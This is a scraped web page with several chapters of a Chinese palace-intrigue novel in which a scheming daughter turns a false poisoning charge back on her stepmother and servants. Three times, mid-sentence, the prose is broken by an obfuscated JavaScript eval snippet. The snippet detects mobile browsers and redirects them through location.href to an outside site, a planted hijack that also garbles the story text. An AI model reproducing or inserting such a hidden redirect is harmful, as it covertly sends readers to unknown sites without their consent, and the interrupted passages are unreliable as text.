“二少爷和庄姨娘出事，主母……自然是欢喜的。” “那便让她更欢喜些。” 崔莞言嘴角的笑意更深了，回府不久，她身边还无人可用，能借李氏的手便再好不过了。 “你去劝她，找人将崔时和谢清菱在宫中的事传出去。” “这……” 此举必会加深李氏与庄氏的矛盾，张嬷嬷不是不知，只是暗暗感叹眼前的崔莞言，年纪不大，心计竟如此深，出手狠辣，丝毫不输崔晋，若是生做男儿，怕不是要将整座国公府夺去？ 正当她犹豫之际，却见崔莞言从袖中拿出一个瓷瓶，抬手晃了晃。 是解药！ 她立马绷紧了身子，乞讨似的高举双手。 “老奴一定劝服主母，求二小姐行行好，给老奴解药吧……” 崔莞言将那瓷瓶在她眼前晃了晃，又收了回去。“不急，我还有话问你。” “主母可有在我身边安排什么人？” 张嬷嬷眼睛转了又转，终是咬牙将要说的话咽了下去：“老奴不知。” 不知？崔莞言冷哼一声，倒是对李氏忠心得很。 她打开瓶子，倒出一粒药放到张嬷嬷手中。 张嬷嬷立刻吞下去，蒙受天恩般连连磕头。“二小姐放心，我一定把事办好。” - 李氏果真是没脑子的，一听能叫庄氏难堪，便忙不迭地吩咐人将崔时和谢清菱的事传扬出去，全然不顾国公府的脸面。 第二日，流言便已传至上京城的大街小巷，经悠悠众口，越传越邪乎。 “崔家公子虽救下谢小姐，但当着众人的面，搂搂抱抱不成体统。” “那二人早有私情，否则怎会舍命相救。” “若不嫁进崔家，谢家小姐还有谁敢娶？不如一头撞死。” …… 谢清菱的父兄更是一大早就跑来崔府“鸣冤”，说自家姑娘无辜，是被人推入水的，问他们有何证据？又低头不言，只道谢清菱醒来便闹着要寻死，话里话外皆是要崔家认下这门亲事。 横竖谢家是不亏的，谢清菱一直想攀高枝，嫁入国公府又何尝不算高嫁呢？ 崔晋终也认栽，进宫向皇帝请旨。 崔家虽不是声名狼藉，落在百姓口中却也没什么好话，此番若是不认，只怕往后民望更弱。 毕竟是能为清白家风亲手斩女的人，儿子的姻缘算得了什么？ 想到这，崔莞言脸上一丝笑意都无了。 傍晚崔晋请回了一道赐婚圣旨。 正厅中，一家人跪得整整齐齐，连那位一向深居简出的长兄崔植，也罕见地现了身。 崔莞言对崔植的记忆仍停留在前世，她被关进祠堂的那一天，唯崔植一人觉得她冤。 可崔植也是个被厌弃的，连生母李氏都将他视为耻辱，不听他一句话，他说什么，做什么，从来都无人理会。 但这份好，崔莞言一直记在心里。 许是察觉她目光落在自己身上，崔植抬眼望来，眼中如死水，不起波澜。 他肤色极白，却并无病色，身形瘦削颀长，纵是冷淡疏离，举止间却隐有一股儒雅气度。 崔莞言记得，他极有诗才，本该如崔时一般，谈婚论嫁入仕登第，可惜天生残疾，自幼便被弃置后院。 收回思绪，此时太监正展开圣旨，尖声诵读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970185|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“奉天承运，皇帝诏曰：兹闻庆国公崔晋次子崔时，德行端谨、才具不凡，礼部尚书谢廷章之女谢清菱，娴淑大方、温良敦厚、品貌出众，太后与朕躬闻之，甚为欣悦。 今崔时年近弱冠，适婚娶之时，当择贤女以配。值谢清菱方居闺中，德仪兼备，与崔时堪称佳偶天成。为成佳人之美，特将谢清菱许配崔时为妻。一应礼仪，着礼部与钦天监监正简定良辰，备礼完婚。钦此。” 崔时接过圣旨，纵使满脸不甘也只能跪拜谢恩。 为备聘礼，国公府又热闹起来，崔老夫人听说娶的不是忠义候的女儿，竟叫气病了。 崔莞言侍奉在侧，乖巧贴心，连崔晋都夸她知孝道。 日日在这群人面前装模作样，她笑得脸都快僵了，这天趁崔老夫人午睡，才拉着青禾出门透气。 街上人来人往，商贩吆喝声此起彼伏，风吹得幌子直晃，几声犬吠隐在嘈杂市声中。 青禾见她面色冷淡，一路未语，忍不住劝道：“小姐总这般紧着心神，也不是法子。不如随奴婢进那家胭脂铺瞧瞧？听说最近进了江南贡来的桃花胭脂。” “也好，进去看看。” 崔莞言一入店中，香气便扑面而来，她随手取了一盒胭脂，低声笑道：“这桃花色……倒更像鲜血融于水中那般。” 掌柜闻言，身子一抖，只当她是闲话不敢多问，赔笑附和：“这色正是上京最时兴的。” 她走到铺子另一侧，指尖拨弄着几盒香粉，忽听身旁响起脚步声。 “崔姐姐。” 崔莞言眉梢微挑，偏头看去，正见沈明宜立在几步之外，态度显然与昨日大不相同。 “姐姐也是来挑胭脂的？” “路过罢了。” 沈明宜低头看了一圈，转身吩咐掌柜：“这些胭脂，各色都包一份。” 掌柜喜笑颜开，连连应是。 崔莞言一言不发，直到出了胭脂铺，沈明宜停下脚步，将那匣子塞进她怀里：“昨日我唐突了些，这些就当是赔礼。” 沈明宜静静立着，一双眼清亮温和，眉间却藏着不加掩饰的爽直，唇角轻扬，竟像是怕她不收下似的，拉住她的手认真看着她。 前世崔莞言只记得沈明宜生得好，向来有些傲气，从不轻易亲近旁人。 可如今看来，竟比她想的率真许多。 “既是赔礼，我便收下了。只是我不爱这些脂粉，怕也用不上。” 沈明宜旋即弯了弯眼，神色带了几分欢喜：“我就知道你和我一样。” 她顿了顿，压低声音，语气颇为嫌弃：“才不像谢清菱，成日围着衣裳首饰转，腻人得很。” 谢清菱如今被迫嫁给崔时，也算是自讨苦吃，往后有她受的。 她再看身旁的崔莞言，明明出身那样的府邸，竟没有半分市侩气，话虽冷淡，却不让人觉得生分。 沈明宜忍不住想，这才真叫亲切，自己昨日真是昏了头。 崔莞言越听越觉得沈明宜这样直白又分明的性子，很是惹人喜爱，不自觉笑了。“你若真和她不合，往后少与她打交道就是了。” 沈明宜哼了一声，“我不会再与她打交道了，崔姐姐，谢谢你昨日救我。” “你都知道？”崔莞言惊道。 “姐姐可愿与我去棠湘楼一叙？” 14. 风波再起 棠湘楼内，沈明宜彻底打开了话匣子，双手叉腰，边走边说：“我就知道谢清菱没安好心，从前不见她亲近我，偏昨日死皮赖脸地贴上来。” “还有那崔时，旁人都说他是翩翩公子，我瞧着就是个道貌岸然的草包，他可不是会豁出命救人的大善人，昨日跳得那般快，一上岸又喊我的名字，说没算计谁信呢？” 沈明宜气得像跳脚的兔子，说到口渴，将杯中茶水一饮而尽。 崔莞言看着她笑了，不愧是上京有名的才女，一下便看出其中端倪。 沈明宜又道：“老天开眼，竟叫谢清菱失足落水，和崔时凑成一对。” 还好崔莞言深明大义，否则被崔时祸害的人就是她了。 说着她感动不已。“崔姐姐，从今往后你就是我最好最好的姐妹！” 崔莞言不喜结交朋友，见她如此热忱，不好扫了她的兴，便点头。 “只是姐姐，谢清菱嫁进去，你可就没清静了。” “国公府是吃人的地方，她的报应在后头呢。”崔莞言说。 自那日在御湖落水风波传回，庄氏焦头烂额，崔时闭门不出，整个正院气氛都阴沉得骇人。 反倒是李氏与孙氏，诡异地安静下来，连平日最爱生事的几个下人也仿佛被勒了口，只做事，不言语。 府中表面风平浪静，实则诡异至极。 沈明宜眨着大眼，像是忽然想起了什么：“姐姐，周王那天……其实是在看你吧？” 她上下打量崔莞言，面上温婉沉静但心思玲珑，与那冷冰冰的周王很是相配。 崔莞言却摇头，“王爷的心思哪是我们能猜的。况且，我也并不喜欢他那种人。” 那种？哪种？ 听着像很了解周王为人似的，沈明宜还想追问，但见她面色已然沉了几分，便话锋一转，说起自己来：“我喜欢有学识、有担当的，行事有分寸，做官能为民，处事能守心，至于模样嘛，好看最好，难看也不必强求。” 她说得坦荡，语气却极自然，不带半分做作，“家世权势都不打紧，我最怕的是那种光靠门第就自以为是的人，话说三句就露了浅薄。” 说到这儿，她偏头看了崔莞言一眼：“你别笑，我知道自己眼光高，可我就是宁可孤老终身，也不愿嫁个只会吹牛的空壳子。” “你这眼界，不知要难倒多少权贵公子。” 沈明宜哼了一声：“那是他们自己不争气，怪不得我。” 她说罢，一脸理直气壮，只是那股干净爽利的神态，又让人觉得并不讨厌。 这样骄傲又不失真性情的女子，才最难得，可也最容易被辜负。 崔莞言心头一紧，垂下眼帘：“若他日真有那样的人出现，愿你遇见的，是心口如一的。” 沈明宜挑眉，笑道：“那你呢？你要怎样的？” 崔莞言抬眼，淡淡道：“情分这东西，虚虚实实，我最信不过。与其求那不确定的真心，不如看准局势，用得上就行。” “若哪日真有旁人对我掏心掏肺，我倒愿他掏得彻底些，好让我看清里面装的什么。” 沈明宜听罢一愣，随即笑出声来：“你倒说得比我还绝。” 崔莞言没接话，她早已尝够被情分牵着走的下场，如今她不再博什么深情只愿自己，永远是那掌局人。 毕竟，情可弃，命难负。 - 棠湘楼一别，回到崔府后，崔莞言的日子又出奇地安静了几日。 庄氏闭门不出，李氏与孙氏更是偃旗息鼓，一副明哲保身的姿态。 直到第五日，老太太去佛寺祈福，她刚回院中，青禾便慌慌张张地跑进来，说李氏让她立刻去正厅。 “出什么事了？” 青禾上气不接下气，“是……是张嬷嬷，她在正厅哭，说您给她下毒！” “我还以为，她会安分得久一点。”崔莞言眼神一点点暗下来。 她曾想，命都捏在她手里了，那个贪生怕死、惯于趋炎附势的老奴，不该有胆反咬一口的。 倒是低估了张嬷嬷与李氏的情谊，她该更谨慎的，就算是条狗，也不该给它喘口气的机会。 “走吧，去会会她们。” 此时正厅内，张嬷嬷哭声震天，李氏心疼似的递了帕子过去给她拭泪。 “放心，我定为你做主，这逆女竟如此心狠手辣，敢在我眼皮子底下害人，我非让老爷扒了她的皮不可。” “嬷嬷说的可是真的？二小姐看着可不像心狠的人呢。”孙氏不忍道，她早看出崔莞言眼中那股狠劲，上回书房一言，崔晋至今都未再踏入她院中，今日绝不能放过她。 张嬷嬷闻言止了声，擦掉脸上流水似的泪，脸色隐隐发青，嘴角一抽一抽。 崔莞言心有多狠她是最清楚的，先前差点将她捂死不说，喂她毒偏还吊着她不肯给解药，非要她像个乞丐似的跪地哭求才肯施舍。 若办不好她交代的事，那贱人随时都敢要了她的命，不如鱼死网破，让主母出面处置了她，到时候还怕找不到解药？ “老奴一路去封州接她回府，没有功劳也有苦劳，可她小小年纪心肠歹毒，竟使那等歹药，还要奴婢替她做事。奴婢若不从，就要……要我求生不得求死不能……” 说到这儿，张嬷嬷两眼又红了，咬牙切齿：“夫人，老奴这一把年纪，死也就死了。可崔家若养出这般狼心狗肺的东西，迟早叫旁人看笑话！” 李氏捏着帕子，脸上浮出一丝厉色，正要发话，被门外的脚步声打断。 “谁要看笑话？”崔莞言缓步踏入，脸上不见慌乱。 “孽障！还不跪下！”李氏怒喝道。“真是胆大包天，竟敢给我的人下毒！” “下毒？”崔莞言一脸无辜，看向瘫坐在地上的张嬷嬷。“嬷嬷是说我给你下毒？我害你做什么？你一条老命，值得我动手？” “你……你就是想要挟我替你做事。” “你说我毒你，可有药？可有人证？若都无，那便是血口喷人。”崔莞言不紧不慢地说。 原先她还想在李氏面前装一装，现在看来，不如直接撕破脸来得好。这次闹出张嬷嬷的事，桃枝这步棋，怕是要提早用上了。 “不如传南院的侍女过来问问，有没有见过可疑之物？”孙氏适时补了一句，眼神看向崔莞言时，竟满眼都是心疼。 真会做戏。 崔莞言冷笑了一声。 李氏这才想起还有桃枝可用，便赶紧遣人去唤。 片刻后，桃枝便被人带了进来。“见过夫人。” 李氏目光森冷地落在她身上：“你在南院可曾见过什么不对劲的东西？” “奴婢……见姑娘屋中放了几个药瓶，不知里面装的是什么，也不敢乱问。只是看着……有些可疑。” 李氏眼神一亮，立刻沉声道：“来人，去二小姐院中搜！一只瓶子也不许落下！” “慢着。”崔莞言突然开口，“母亲要搜我的院子？祖母可说过，我的事她都要亲自过问，母亲若执意如此，我也不介意去请祖母回来。” 这话一出，厅中瞬间静了。 所有人都知道老太太这段时间有多喜爱她，原本就不许下人随意走动她院中。李氏若真叫人闯进去，惊动了老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971506|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，谁都讨不了好。 李氏面色讪讪，咬了咬牙，面上仍强撑着怒意，推三阻四的，定是心里有鬼！ “你以为搬出老太太就能吓住我？你若真干净，又何必怕人去搜？” 张嬷嬷眼珠一转，忙哭着添了一句：“她那几瓶药，说不准就是下毒害我的！” 崔莞言目光扫过众人：“今日若什么都搜不出来，我自不会善罢甘休。到时这血口喷人的罪名，究竟该落在谁身上，咱们一个一个慢慢算。” 李氏自觉胜券在握，自然不会听她威胁，她一挥手：“去，给我搜！整个南院，地毯底下、箱笼抽屉，一处不许落下！” 早有等候的婆子应声而去，桃枝低着头亦跟了出去。 不一会儿，几个婆子快步回转，恭敬地将托盘呈上。 托盘上，赫然摆着两个瓷白小瓶。 李氏瞧见，顿时眉梢一挑，眼中露出几分得意：“这就是你说的清白？” 张嬷嬷冲上前，仿佛抓住了救命稻草，泪水都掉了下来：“就是它！我吃的药，就是装在这种瓶子里！” 孙氏也适时接口：“虽不知里面是什么，但这般藏着掖着，恐怕……” 众人齐齐望向崔莞言，等着她惊惶失措、百口莫辩的样子。 但她只是静静地看着，眼神沉静无波。 不多时，大夫便到了，李氏命人将那两只瓷瓶呈上，神情肃然：“快验一验，看看里面装的可是毒物。” 大夫不敢怠慢，当即取出银针，又小心碾碎药丸，一番细致诊验后，眉头却缓缓舒展开来。 “回夫人，这两瓶所装并非毒物，一瓶是压惊安神的合香散，另一瓶乃调理气血的丸药，俱是常见之物，无害。” 张嬷嬷脸上的血色“唰”地褪尽，原本哭哭啼啼的模样瞬间僵住。“怎……怎么可能？她明明说是毒！” “定是这毒罕见，先生未曾接触过。” “老夫行医几十年，安神药还是认得的。” “嬷嬷真是好没良心。”崔莞言慢条斯理开口，嗔怪道，眉眼中带着讥诮，“在建州时，我见你受伤彻夜难眠，特地给了你安神药，你吃下后睡得安稳，身子也慢慢好了，却转头来咬我一口，说我下毒？” 张嬷嬷浑身发颤，怎么会这样？难道真不是毒？她真傻呀，竟让崔莞言骗了！ 她想解释却支支吾吾，一句完整的话都说不出来。 崔莞言不理她，径直看向李氏，笑意更甚：“母亲说我心狠手辣，可眼下看来，倒是我瞎了眼，救了条忘恩负义的狗回家。” “你、、你少在这巧言令色！”李氏忍不住骂道，又终归不愿认输。“你们可搜仔细了？” 她方才气势汹汹，话已说得太满，若真查不出什么，不仅折了威信，老太太知道了必不会放过她。 正想着如何圆过去，突然桃枝跳出来：“小姐床头有个上了锁的箱子，从来不许人碰，奴婢在南院这么久，也从未见她打开过……那里面该不会……” 话未说尽，却刻意留了悬念，眼中露出怯怯的不安，活像是不愿污蔑主子，只是忍不住担忧罢了。 李氏心中顿时一动，原本熄下的火苗又燃起来。 是了，若真有什么见不得人的药，不会明目张胆地放出来，藏箱子里才合情理。 她眼神一厉，语气也跟着硬了几分：“既如此，还不快去打开看看！” 这一声发下，连她自己都觉得重新握住了局势，眼角眉梢浮出几分志在必得的快意。 崔莞言本还笑着，可听到李氏这话，面色突然变了。“不可！这箱子，眼下不能开！” 15. 局势反转 李氏这会儿早就得意忘形，哪还能听得进崔莞言的话？ 她当即令桃枝去取那箱子。 桃枝更是不装了，转身经过崔莞言时，竟露出讥笑，眼神里尽是挑衅，仿佛笃定她今日定要栽在这只箱子上。 不过一盏茶的工夫，桃枝便捧着那沉沉的檀木箱回来，神色兴奋，眼中几乎要冒出光来。“夫人，东西带来了。” 崔莞言神色陡变，几乎是脱口而出：“我说了，这箱子现在不能开。” 她一步挡在前头，眼底沉意尽显，“开了它，受影响的是国公府上下。” 李氏像是听了个天大的笑话：“你当你是谁？一句话便要把整个国公府绑上？” “还把自己当老夫人膝下独宠的掌珠？崔莞言，你不过是个靠着装模作样哄老太太欢心才苟住性命的祸胎。” 张嬷嬷也笑，“小姐这是怕了？要真没鬼，又怕什么人搜？” 李氏眼神一沉，挥手便道：“砸锁。” 两个婆子得令，立刻抬锤而上，眼看就要砸下。 “住手！”崔莞言骤然扑上前，猛地拦在箱前，死死护住。“这箱子今天谁敢碰，我便与你们拼了！” 一双眼眸死死盯着李氏，像头被逼近极限的困兽。 李氏却更觉痛快了，小贱人，今日非叫你栽个彻底！ 她阴狠道：“你这样护着，倒更叫人想看看里头到底藏了什么好东西。” 张嬷嬷早已破涕为笑，咧着嘴喜滋滋地道：“怕不是藏了什么见不得人的东西，才当命护着。” “来人，把她拉开，砸锁！”李氏厉声。 两个婆子扑上去，粗暴地拽住崔莞言的胳膊。 崔莞言还未站稳，便被一人拽住肩头，另一人狠狠钳住她的手腕，往后拖去。 她猛地挣了下，却因失了重心，跪倒在地上，裙摆被拽乱，鬓发散落了几缕，狼狈不堪。 被压制在一旁，她只能眼睁睁看着铁锤高高扬起，重重砸向箱锁。 “砰”的一声巨响。 李氏正打算亲自去开那箱子，却听见外头通传：“老爷回来了。” 她想，回来得正好。 崔莞言侧着脸，让人看不清她脸上是笑还是苦，她也想，时机刚好。 崔晋刚走到正厅门前。 自下了马车，便有管事火急火燎地上前禀报，说府中出了乱子。一路走来，他听得清清楚楚，张嬷嬷告状、李氏搜箱、莞言动手拦人……这番乱象，他已大致心中有数。 他虽从未真心疼过这个女儿，可终归是自己血脉，处置一个下人罢了，至于闹成这样？倒是李氏这番架势，愈发像个泼妇，主母的体统全然不见。 可莞言素来乖顺，如今竟为了个箱子与她撕扯至此……难不成，真有鬼？ 他迈进门槛的瞬间，目光便落在中央那抹狼狈身影上。 崔莞言一动不动地跪在那里，眼睫低垂，眼眶却红得厉害，几滴眼泪沿着苍白的脸颊滑落。 “这是怎么回事？”他沉声问。 李氏最先迎了上来，不着痕迹地扫了崔莞言一眼。 方才还一副撕心裂肺、誓死护物的样子，转眼就哭得梨花带雨，跪在地上活像个任人欺辱的可怜虫。 她嗤笑一声，声音里满是讽刺：“老爷总算回来了，您看看这孩子，倒是比奴才还会装样子，一路撒泼，差点把厅堂掀了去。” 话未说尽，桃枝已殷勤上前，躬身请安：“小姐私□□物，还请老爷做主。” 张嬷嬷也擦着眼角凑上来，哭得涕泗横流：“老爷，老奴在府里忠心侍奉主子多年，没成想竟被小姐下了药，若不是夫人庇佑，这会儿怕是早没命了啊！” 厅内乱作一团，哭的哭，告状的告状，唯有那跪在地上的少女，脸上泪痕未干，却不再开口分辩，反倒像是已经认命。 崔晋最厌的，就是这种争吵不休、主仆不分的乱象。 李氏这几年愈发不成体统，凡事不肯拿章法处置，动辄惊动长辈，今日更是闹得满院皆知。 “够了。”他冷声道，转头看向崔莞言，“你可有什么要解释的？” 崔莞言慢慢站起身，走到那箱子前。“既然都开了，那就请父亲亲自过目吧，看看女儿到底藏了什么见不得人的东西。” 说罢，她抬手掀开箱盖。 一瞬间，厅中寂静得连根针落地都听得分明。 众人不约而同屏住了呼吸，眼神钉在那，仿佛已经看见确凿罪证。 可下一息，所有人都愣住了。 箱子里哪有什么毒药？只是整整齐齐地码着一叠厚厚的纸张，每一页都写得密密麻麻，最上头那页，赫然是红字手抄的一行。 “地狱未空，誓不成佛；众生度尽，方证菩提。” 张嬷嬷张着嘴，惊恐欲绝，一下跌坐在地上，李氏原本冷笑的面孔也僵住了。 “莞言不曾忘了，自己是崔家女儿，肩上担着护佑门楣的责任。只是当年身在封州，力所不能及，便每日抄经血书，托人寻来名僧开光，为崔家祈福。” “大师曾言，若将此经封存七年再打开，可宅运安稳，庇佑家族兴旺不衰。如今才过去六年……眼看只差一年了。” 崔莞言说着又垂下几滴泪，不等李氏辩驳，她又接着道：“女儿实在不知，自己哪里做错了，让母亲如此厌弃，竟叫张嬷嬷来冤我下毒……” 李氏的脸色彻底变了。 她原想着凭着张嬷嬷这一出，定能将崔莞言一举扳倒，赶回封州去。可谁能料到，她拼死护着的箱中竟藏着这般东西？！ 她的心沉到了谷底，冷汗从脊背直冒出来。 这下，偷鸡不成蚀把米。 她不甘，极不甘。但形势已转，一句反驳都像是欲盖弥彰，若说得重了，只怕连自己也难撇清干系。 身旁的张嬷嬷早已腿软，面如死灰。这般阵仗、这等心思，她哪敢再嘴硬？ 她身子一晃，扑通一声跪倒在地，满脸惊惧：“不是的……老奴只是……只是受了惊，一时胡言乱语……没有人……没有人指使我！” 话未说完，已泪如雨下，脸上的褶子挤作一团，哪还有方才在厅中叫嚣要人搜院时的半分气焰？ 事情到这田地，竟演变成了主仆情深的戏码，如今外头风言风语未平，再闹出主母陷害庶女的传闻，只怕更难收拾。 崔莞言明白，崔晋处置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975885|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起人来断不会手软，她不介意添几把火。 “诬陷主子按家法该如何处置？请父亲为女儿做主。” 崔晋面无表情地听完几人的话，眼中已泛起怒意。 他最厌旁人搅闹家中秩序，尤其是在朝中风声不稳之际，府里还要日日生事。 他先朝李氏开口：“身为主母，不察下人行径，纵容下人诬陷主子，李氏，你着实失了体统。” 李氏连忙跪下辩解：“老爷，妾身也是一时被张嬷嬷蒙骗……” “从今日起，撤去你管家之权，罚入佛堂闭门思过半年，每日跪上两个时辰，抄写《戒贪经》一卷。传出去让旁人也看看，国公府的主母若是胡作非为，也得受罚。” 李氏脸色惨白，险些跪倒不起，唇边只余抽搐的“妾身遵命”几字。 她一眼瞥见崔莞言，少女仍旧立在原地，姿态沉静，眼中没有胜利的快意，只有淡淡的讽意，再看同床共枕多年的夫君，看她像看污秽一般，眼中除了厌恶，再无其他。 她喉头一涩，几乎吐出血来。 崔晋这才收回视线，看向张嬷嬷，“来人，掌嘴！” 张嬷嬷还未来得及求情，两个小厮已上前将她按住。她惊叫一声，话未出口，巴掌已落下，耳边尽是响亮耳光声，一下、两下……很快便打得她面皮炸裂、鲜血迸出。 崔晋冷眼旁观，对崔莞言道：“此事你受了委屈，刁奴就交由你处置。”说罢，拂袖而去，留下一厅惊怔之人。 让她处置？好啊，太好了。 崔莞言视线一一扫过众人。 李氏到底是皇后生母，纵然被罚闭门思过，终归不过是抄经吃斋、略受羞辱，日子一久，自有人替她求情，还能继续在这国公府里作威作福。这样的人，急不得，也不能一棍子打死，得一点点折下她的羽翼，一寸寸抽骨剥皮，才叫解气。 孙氏半天没开口了，显然是将局势看得分明，早知道李氏要输，从箱子拿出来那一刻开始，便半句不肯帮腔，倒比李氏聪明多了。 而张嬷嬷，已倒在地上，头发散乱，脸颊肿成一团，嘴角不停颤抖着，脸上血迹还在往外渗，混着涎水和眼泪，不堪入目。 还有一个人。 她视线一转，落到桃枝身上。“你方才说……我私□□药？” 桃枝原本还想着自己不过是顺着李氏的意，又不是第一个开口的，顶多说是听风是雨，事后推得一干二净。 可如今众人噤声，偏偏她那句毒物喊得最响，正撞在刀口上。 她吓得脸色煞白，跪倒在地，连连磕头：“小姐饶命！奴婢一时听信张嬷嬷的胡言，不敢隐瞒才会误传。” 崔莞言冷眼看着她，不再多言，只一挥手：“来人，将她和张嬷嬷一并拖下去，捆在柴房里。” 几个小厮应声上前，拖起满脸血污的张嬷嬷，又将桃枝也一并扯起。 “小姐！奴婢再也不敢了，饶命啊！”桃枝哭喊着求饶。 撕心裂肺的，还真是快意！崔莞言越听越觉得浑身舒畅。 人落在她手里，那就慢慢剖开来算这笔旧账，一桩桩、一件件，连本带利。 至于李氏，今日不过才开了个头。 16. 送她上路 夜深，王府书房内灯火静静燃着。 褚元唐随意倚在案侧，手中玉佩转了又转。 柳枝跪在下首，将崔府今日的乱事禀报完，心中仍忍不住暗暗惊叹。 她为暗卫多年，自诩见过无数手段心机，可那位二小姐不过一个年纪轻轻的姑娘，却在那样的局中翻了盘，不露声色间，牵着所有人的鼻子走。 那箱子在床头放了许久，二小姐几次提醒桃枝不能动，原来那时她就算到了一切…… 她犹豫片刻，低声道：“殿下，这位二小姐，不似寻常女眷，看起来……并不需要人庇护。” 褚元唐静静听着，面色沉冷无波，心中却暗潮汹涌。 前世，她被卷入王府的血雨腥风死得不值。他今生护她，不过是为了偿还那份愧疚。 可那个小心谨慎、任人践踏的姑娘，何时生出了这样的锋芒？先在宫宴中算计崔时，搅乱他的谋局，如今又当众扇了当家主母的脸。 她显然不再甘心做那个被踩进泥里的崔家二小姐。 愧疚仍在，他心底却泛起前所未有的兴趣。 柳枝见他久未开口，似不再过问崔二小姐的事，便转了话锋：“殿下，王府新进的下人里，不知藏了多少眼线。暗卫查了两日，已经清理出三拨来路不明的人。” “盯紧他们，谁敢伸手太长，就先砍了。” “是。”柳枝低头应声。 书房顷刻静了下来，只余烛焰摇曳。 褚元唐心思渐渐沉入前世的泥沼。 前世的这个时候，崔家已动手了。 一切都要从通州赈灾开始。 去赈灾的官员带回了一本账册，上面罗列的所谓贪腐证据，全是崔晋暗中操纵、精心伪造之物。 外人眼中，崔氏一族是文官世家的翘楚，几代子弟皆位列庙堂，可这荣光不过是镀着金漆的外壳，真正撑起崔家权势的是通州漕运。 崔氏族亲自通州起家，表面清廉守职，暗地里靠那一条漕运命脉吞银敛财，他们用银子层层打点收买权贵，一步步爬上高位，再以世家功勋的虚名掩盖肮脏手段。 所谓清誉，归根结底，不过是一堆银子堆砌出来的幻影。 为了守住通州这块宝地，崔晋无所不用其极。 想到这里，褚元唐唇角挑出一抹凉薄的笑意。 崔晋，你上辈子借假账杀人，这回我看你还能翻到几分天。 - 雾色渐浓，国公府里安静得诡异。 白日闹了那么一出，张嬷嬷被拖出去的惨状历历在目，地上的血迹犹在，巡夜的小厮走路都不敢发出声响。 后院柴房里，张嬷嬷被绑在柱子上，头发散乱脸肿得连五官都快分辨不出，神志不清呓语不断。 桃枝被绑在另一边，手腕勒得青紫，脸上还留着白日惊慌时摔出的伤痕。她蜷缩着身子呼吸急促，张嬷嬷断断续续的低泣声，让她愈发心慌。 夫人连张嬷嬷的命都不在乎，怎么可能会管她呢？没人会救她了。 她正胡思乱想着，脚步声在柴房门外响起。 烛火透进来，刺得她睁不开眼，等她缓过劲时，眼前已然出现那道纤细却瘆人的身影。 “二小姐，奴婢知错了，奴婢只是被夫人哄骗，奴婢不敢了……”桃枝急得连话都说不利索，霎时间涕泪横流。 崔莞言静静看着，眼底没有一丝怜悯。 “我本不想脏了手，可你既敢跟着夫人乱咬我，也得付出点代价。” “二小姐求您饶命，奴婢愿给您当牛做马！” “饶你可以，我向来不养没用的人。给你一个机会将功补过。”崔莞言蹲下来靠近她，“二公子的事是谁传扬出去的，你可知道？” 桃枝愣住，眼泪止在脸上，嘴唇颤了几下，终于大喊道：“是夫人！就是夫人做的！” “听说你和庄姨娘院里的丫鬟相熟，若能将这事一字不差地传到庄姨娘那里，我便饶你一命，若做不到……”崔莞言指了指角落里的麻绳，“那就是你最后的归宿。” 说完，她眼神柔柔地笑了。 可这笑意落在桃枝眼里，无异于催命符，直把她逼得头皮发麻，呼吸都乱了。 她终于明白，这位二小姐比夫人更可怕。 “奴婢遵命！奴婢一定办到！” “既然答应了，就去做。来人，把她松开送回房。” 看着桃枝被带走，崔莞言的终将视线转向一旁的张嬷嬷。 “泼醒她。” 小厮提来一桶凉水，重重泼下去。 哗啦一声，张嬷嬷猛地打了个激灵，咳嗽着醒了过来，看见崔莞言的那一刻，整个人像被抽了魂，瑟缩着想往后缩，却被粗绳死死勒在柱上，肩膀抖得厉害，喉咙里发出沙哑的呜咽声。 “醒了？” “二小姐，求您饶命，老奴再也不敢了！” 崔莞言蹲下身，轻轻抬起她的下巴，：“饶你不是不行，只要你能说出些有用的东西，也许我会考虑让你留口气。” 张嬷嬷抖着嘴唇，喉咙里像卡了石头，半天也说不出一个字。 崔莞言耐着性子等了片刻，见她仍旧结巴支吾，眼底的温度一点点退去。这种人，怕死但也嘴硬，要么彻底吓破她的胆，要么直接废掉她。 她拿起角落里的麻绳轻轻拖过来。 “张嬷嬷。我再问你一遍，你可得想清楚了，别拿废话糊弄我。”她一边说着，一边弯下腰，将绳头搭在她肩头。 张嬷嬷浑身打颤，眼泪混着鼻涕流了满脸：“二小姐，老奴说！” “当年夫人生产那天那个鬼鬼祟祟进出的小丫鬟，奴婢知道她去了哪……” “你最好说得清楚些，一字一句都别漏。” 哆哆嗦嗦地喘了口气，张嬷嬷像是用尽全力才让舌头动起来：“那丫鬟是夫人亲自放出府的，很快就嫁了人。本以为这些年她早远走高飞，再无消息，可几个月前，我去西街买香料时，远远看见她和个男人一块，在街口新开了个茶水铺子。” “你确定是她？” 